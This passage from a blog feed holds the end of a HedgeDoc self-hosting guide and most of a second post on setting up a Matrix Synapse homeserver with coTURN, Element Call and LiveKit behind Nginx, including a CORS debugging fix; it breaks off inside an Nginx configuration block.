</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">https</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Enable the config and reload Nginx:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx</span></span></code></pre></div>
<hr>
<h2 id="6-create-users">6. Create users</h2>
<p>Because we disabled self-registration, create accounts manually:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --add alice@example.com</span></span></code></pre></div>
<p>You’ll be prompted for a password.<br>
To reset a password later:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com</span></span></code></pre></div>
<hr>
<h2 id="7-done">7. Done!</h2>
<p>Visit <a href="https://notes.alipourimjourneys.ir">https://notes.alipourimjourneys.ir</a> and log in with the user you created. You now have your own collaborative Markdown editor 🎉</p>
<hr>
<p><strong>Extras:</strong></p>
<ul>
<li>Backups: dump the PostgreSQL database and save the <code>uploads</code> volume.</li>
<li>Upgrades: <code>docker pull quay.io/hedgedoc/hedgedoc:latest &amp;&amp; docker compose up -d</code>.</li>
<li>Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.</li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/hedge_doc.md">Markdown</a> ·
    <a href="/sources/posts/hedge_doc.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
jSrPHA//WlMEZx1k/aGx3zau&#43;wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0&#43;26w
AGav2jBuChLYsDx&#43;O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2&#43;6RVtuthGUEV&#43;
QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj&#43;Alur2Ji/gcGZlSArBnIoJQoK5L&#43;r
UZLJsQ&#43;LrqCJp4i&#43;GkkX05si2srSTjawBu&#43;ssHf&#43;uwPg0Q6AMTbubrGiHrMMtMbM
4PCFtS8vD/ZBVkVpSBybyXdMxQU&#43;y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
sBGHLThq9nZEXmMT2oQa1wi&#43;CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
5B9SwVtNqIzm7eoAbwckU3h&#43;TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS&#43;SF74jPkDjtc4EFuKB
QrMTBm/&#43;Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
aG3wFuWH4d9UFohK&#43;MJIHqYk1&#43;TbZJm3bnds8pOqniIZ7M5PcEg=
=uf5y
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
gpg --verify hedge_doc.md.asc hedge_doc.md
  </pre>
</div>


]]></content:encoded></item><item><title>Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)</title><link>https://blog.alipour.eu/posts/matrix_setup/</link><pubDate>Tue, 26 Aug 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/matrix_setup/</guid><description>How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &amp;#39;waiting for media&amp;#39; to solid calls.</description><content:encoded><![CDATA[<blockquote>
<p>TL;DR: The call kept saying <strong>“waiting for media”</strong> because the browser never opened a WebSocket to LiveKit. The root cause was <strong>duplicate <code>Access-Control-Allow-Origin</code> headers</strong> on <code>/sfu/get</code> (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP <strong>101</strong> in logs) solved it.</p></blockquote>
<h2 id="what-im-building">What I&rsquo;m building</h2>
<ul>
<li>A <strong>Matrix homeserver</strong> (Synapse) at <code>matrix.example.com</code> (replace with your domain).</li>
<li><strong>TURN/STUN</strong> (coTURN) for NAT traversal.</li>
<li><strong>Element Call</strong> backed by <strong>LiveKit</strong>, fronted by <code>rtc.example.com</code>.</li>
<li><strong>Nginx (host)</strong> as the single reverse proxy for everything.</li>
<li><strong>Cloudflare</strong> DNS (with <code>rtc.*</code> set to <strong>DNS-only</strong>, no orange cloud).</li>
<li><strong>UFW</strong> firewall opened for Matrix federation, TURN, and LiveKit media ports.</li>
</ul>
<blockquote>
<p>I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used <strong>host</strong> Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.</p></blockquote>
<hr>
<h2 id="prereqs">Prereqs</h2>
<ul>
<li>DNS A/AAAA:
<ul>
<li><code>matrix.example.com</code> → your server (v4/v6)</li>
<li><code>rtc.example.com</code> → your server (v4/v6)</li>
</ul>
</li>
<li>Certificates:
<ul>
<li><code>matrix.example.com</code> and <code>rtc.example.com</code> via Let’s Encrypt on the host</li>
</ul>
</li>
<li>Cloudflare: <strong>DNS-only (grey cloud)</strong> for <code>rtc.example.com</code> so WebSockets &amp; UDP work without interference.</li>
<li>UFW / firewall open:
<ul>
<li>80/tcp, 443/tcp</li>
<li>8448/tcp (Matrix federation)</li>
<li>3478/tcp, 3478/udp and <strong>5349/tcp</strong> (TURN/TLS)</li>
<li><strong>LiveKit</strong>: 7881/tcp and <strong>50100–50200/udp</strong> (or your chosen range)</li>
</ul>
</li>
<li>Docker + docker compose installed.</li>
</ul>
<hr>
<h2 id="synapse--postgresql">Synapse + PostgreSQL</h2>
<h3 id="1-the-postgresql-collation-gotcha">1) The PostgreSQL collation gotcha</h3>
<p>Synapse prefers the database collation <strong><code>C</code></strong>. If your Postgres cluster was initialized with <code>en_US.utf8</code>, Synapse will error like:</p>
<pre tabindex="0"><code>Database has incorrect collation of &#39;en_US.utf8&#39;. Should be &#39;C&#39;
</code></pre><p><strong>Two ways to resolve:</strong></p>
<ul>
<li><strong>Preferred (clean)</strong>: Re-initialize the Postgres <strong>cluster</strong> with <code>C</code> and <code>UTF-8</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># docker-compose.yml (excerpt for Postgres)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">postgres:16</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">synapse</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">synapse</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">&lt;strong-password&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_INITDB_ARGS</span>: <span style="color:#e6db74">&#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./pgdata:/var/lib/postgresql/data</span>
</span></span></code></pre></div><blockquote>
<p>Requires wiping the volume and recreating the DB.</p></blockquote>
<ul>
<li><strong>Pragmatic (works quickly)</strong>: In Synapse’s DB config, set <code>allow_unsafe_locale: true</code>. This bypasses the check. It’s fine for hobby use; for production, prefer the clean <code>C</code> cluster.</li>
</ul>
<h3 id="2-start-synapse-and-generate-config">2) Start Synapse and generate config</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d db synapse
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Logs</span>
</span></span><span style="display:flex;"><span>docker compose logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> synapse
</span></span></code></pre></div><p>Ensure Synapse prints your <strong>server_name</strong> and <strong>public base URL</strong> and stays up.</p>
<h3 id="3-create-an-admin-user">3) Create an admin user</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Exec into the running Synapse container:</span>
</span></span><span style="display:flex;"><span>docker compose exec synapse register_new_matrix_user <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -c /data/homeserver.yaml -u &lt;username&gt; -p &lt;password&gt; <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -a -k
</span></span></code></pre></div><blockquote>
<p>If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use <code>docker compose exec synapse …</code> against the running container.</p></blockquote>
<hr>
<h2 id="turn-coturn">TURN (coTURN)</h2>
<h3 id="1-avoid-bad-inline-comments">1) Avoid bad inline comments</h3>
<p>If you see errors like:</p>
<pre tabindex="0"><code>ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
</code></pre><p>…it means a <code>#</code> comment is on the <strong>same line</strong> as a boolean directive. Move comments to their own lines.</p>
<h3 id="2-minimal-turnserverconf">2) Minimal <code>turnserver.conf</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#a6e22e">listening-port</span><span style="color:#f92672">=</span><span style="color:#e6db74">3478</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">tls-listening-port</span><span style="color:#f92672">=</span><span style="color:#e6db74">5349</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fingerprint</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">use-auth-secret</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">static-auth-secret</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;shared-secret&gt;   # also set in Synapse</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">realm</span><span style="color:#f92672">=</span><span style="color:#e6db74">example.com                    # used in creds generation</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">total-quota</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bps-capacity</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cli-password</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;admin-pass&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">no-cli</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cert</span><span style="color:#f92672">=</span><span style="color:#e6db74">/etc/letsencrypt/live/turn.example.com/fullchain.pem</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pkey</span><span style="color:#f92672">=</span><span style="color:#e6db74">/etc/letsencrypt/live/turn.example.com/privkey.pem</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If behind NAT:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># external-ip=&lt;public-ip&gt;/&lt;internal-ip&gt;</span>
</span></span></code></pre></div><h3 id="3-wire-turn-into-synapse">3) Wire TURN into Synapse</h3>
<p>In <code>homeserver.yaml</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">turn_uris</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turn:turn.example.com?transport=udp&#34;</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turn:turn.example.com?transport=tcp&#34;</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turns:turn.example.com:5349?transport=tcp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn_shared_secret</span>: <span style="color:#e6db74">&#34;&lt;shared-secret&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn_user_lifetime</span>: <span style="color:#e6db74">&#34;1d&#34;</span>
</span></span></code></pre></div><p>Verify the homeserver issues TURN creds:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>TOKEN<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&lt;your matrix access token&gt;&#39;</span>
</span></span><span style="display:flex;"><span>curl -s -H <span style="color:#e6db74">&#34;Authorization: Bearer </span>$TOKEN<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
</span></span></code></pre></div><p>You should see <code>uris</code>, a time-limited <code>username</code> and <code>password</code>.</p>
<hr>
<h2 id="nginx-host-for-synapse-and-federation">Nginx (host) for Synapse and federation</h2>
<p>Create <code>/etc/nginx/conf.d/matrix.conf</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># Client traffic on 443
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">matrix.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Proxy client &amp; admin APIs to Synapse (container) on 8008
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> ~ <span style="color:#e6db74">^(/_matrix|/_synapse/client)</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8008</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $remote_addr;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">50M</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Advertise homeserver base + RTC focus (MSC4143) via .well-known
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/matrix/client</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">default_type</span> <span style="color:#e6db74">application/json</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> <span style="color:#e6db74">&#34;*&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">200</span> <span style="color:#e6db74">&#39;</span>{<span style="color:#f92672">&#34;m.homeserver&#34;:{&#34;base_url&#34;:&#34;https://matrix.example.com&#34;},&#34;org.matrix.msc4143.rtc_foci&#34;:[{&#34;type&#34;:&#34;livekit&#34;,&#34;livekit_service_url&#34;:&#34;https://rtc.example.com&#34;}]}&#39;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Federation on 8448
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">8448</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:8448</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">matrix.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8008</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $remote_addr;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">50M</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Reload and sanity check:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/.well-known/matrix/client | jq
</span></span></code></pre></div><p>Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://matrix.example.com/_matrix/client/versions | jq <span style="color:#e6db74">&#39;.unstable_features.&#34;org.matrix.msc4140&#34;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># expect: true</span>
</span></span></code></pre></div><hr>
<h2 id="element-call--livekit">Element Call + LiveKit</h2>
<p>I’ll run <strong>LiveKit</strong> and the small <strong>JWT helper</strong> (Element’s <code>elementcall_jwt</code>) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.</p>
<h3 id="1-livekit-config-etclivekityaml-inside-container">1) LiveKit config (<code>/etc/livekit.yaml</code> inside container)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">port</span>: <span style="color:#ae81ff">7880</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">bind_addresses</span>: [<span style="color:#e6db74">&#34;0.0.0.0&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">rtc</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">tcp_port</span>: <span style="color:#ae81ff">7881</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">port_range_start</span>: <span style="color:#ae81ff">50100</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">port_range_end</span>: <span style="color:#ae81ff">50200</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">use_external_ip</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">logging</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">level</span>: <span style="color:#ae81ff">info</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">enabled</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">keys</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">lk_prod_1</span>: <span style="color:#e6db74">&#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________&#34;</span>
</span></span></code></pre></div><blockquote>
<p><strong>Important:</strong> the secret must be <strong>&gt;= 32 chars</strong>. The default <code>devkey</code> will trigger <code>secret is too short</code> warnings and won’t work with the JWT helper.</p></blockquote>
<h3 id="2-elementcall_jwt-env">2) elementcall_jwt env</h3>
<p>Run it with:</p>
<ul>
<li><code>LIVEKIT_URL=wss://rtc.example.com</code>   <em>(root WS URL, <strong>no</strong> <code>/livekit/sfu</code> path)</em></li>
<li><code>LIVEKIT_KEY=lk_prod_1</code></li>
<li><code>LIVEKIT_SECRET=&lt;the long secret above&gt;</code></li>
<li><code>LIVEKIT_JWT_PORT=8080</code> (internal HTTP port the proxy will hit)</li>
<li>Optionally: <code>LIVEKIT_FULL_ACCESS_HOMESERVERS=*</code> during setup</li>
</ul>
<p>Check logs on start; it prints the LIVEKIT_URL it will advertise.</p>
<h3 id="3-nginx-host-for-rtcexamplecom">3) Nginx (host) for <code>rtc.example.com</code></h3>
<p>Create <code>/etc/nginx/conf.d/rtc.conf</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">rtc.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/rtc.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/rtc.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">access_log</span> <span style="color:#e6db74">/var/log/nginx/rtc.access.log</span> <span style="color:#e6db74">combined</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> = <span style="color:#e6db74">/sfu/get</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_hide_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> $http_origin <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Vary</span> <span style="color:#e6db74">&#34;Origin&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Methods</span> <span style="color:#e6db74">&#34;POST,</span> <span style="color:#e6db74">OPTIONS&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Headers</span> <span style="color:#e6db74">&#34;Accept,</span> <span style="color:#e6db74">Content-Type,</span> <span style="color:#e6db74">Content-Length,</span> <span style="color:#e6db74">Accept-Encoding,</span> <span style="color:#e6db74">X-CSRF-Token,</span> <span style="color:#e6db74">Authorization&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">if</span> <span style="color:#e6db74">(</span>$request_method = <span style="color:#e6db74">OPTIONS)</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">204</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8070/sfu/get</span>;  <span style="color:#75715e"># elementcall_jwt
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># 3b) LiveKit WS &amp; HTTP (catch-all)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Sec-WebSocket-Protocol</span> $http_sec_websocket_protocol;  <span style="color:#75715e"># &#34;livekit&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Origin</span> $http_origin;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#e6db74">3600s</span>;
